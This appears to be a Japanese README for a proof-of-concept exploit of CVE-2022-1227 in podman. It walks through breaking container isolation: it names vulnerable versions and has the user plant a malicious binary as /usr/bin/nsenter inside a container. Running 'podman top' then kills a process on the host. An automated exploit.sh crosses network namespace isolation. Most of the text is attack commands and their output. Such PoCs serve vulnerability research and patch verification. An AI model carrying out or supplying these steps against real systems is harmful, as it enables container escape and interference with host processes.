
CVE-2022-1227 を悪用するためのスクリプトです。
20.10 が推奨されます。4.0.0; 3.4.4 が推奨されます。TODO: この脆弱性の原理を追加する
公式ドキュメントの指示に従ってください: https://podman.io/getting-started/installation#installing-on-linux
Ubuntu 20.10 の場合、インストールコマンドは次のとおりです:
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
このセクションでは、PID namespace の境界を破ってホスト上のプロセスを kill する、シンプルな PoC を試します。
手順は次のとおりです:
次のコマンドでコンテナを実行します: podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
./exp/bin 内の keep を実行し、それが動作している PID を取得します。通常、ターミナルにその PID が表示されます。このバイナリは600秒間スリープするよう設定されているため、以下の手順を素早く完了する必要があります。
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
./exp/src/sendsig.c のソースコードを編集し、前の手順で取得した PID を変数 pid に入力します。
int pid = OLD_VAL;
に
int pid = 7719;
コンパイルしたバイナリを podman の内部に配置します: podman cp ./exp/bin/sendsig $container_name :/usr/bin/nsenter
脆弱性を発動させるには podman top を実行します: podman top -l
すべてがうまくいけば、実行中のプロセス keep は即座に kill されます。これは通常では起こり得ないことです。なぜなら、通常は PID namespace の分離により、コンテナ内のプロセスがホスト上のプロセスにシグナルを送信できないからです。
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed
このセクションでは、ソケットを使用して、コンテナ内のクライアントとホスト上のサーバーとの間でプロセス間ソケット通信を実現します。これは、分離機構が完全な場合には通常不可能です。この脆弱性を利用して net namespace の分離を突破し、このエクスプロイトを実現します。
まず、cd ./exp でディレクトリに移動します。
./exploit.sh を実行するだけで、すべてが自動的に行われます。すべてがうまくいけば、サーバーは次のように表示します:
Hello from the container!
これは、ネットワーク名前空間を越えてエスケープすることを意味します。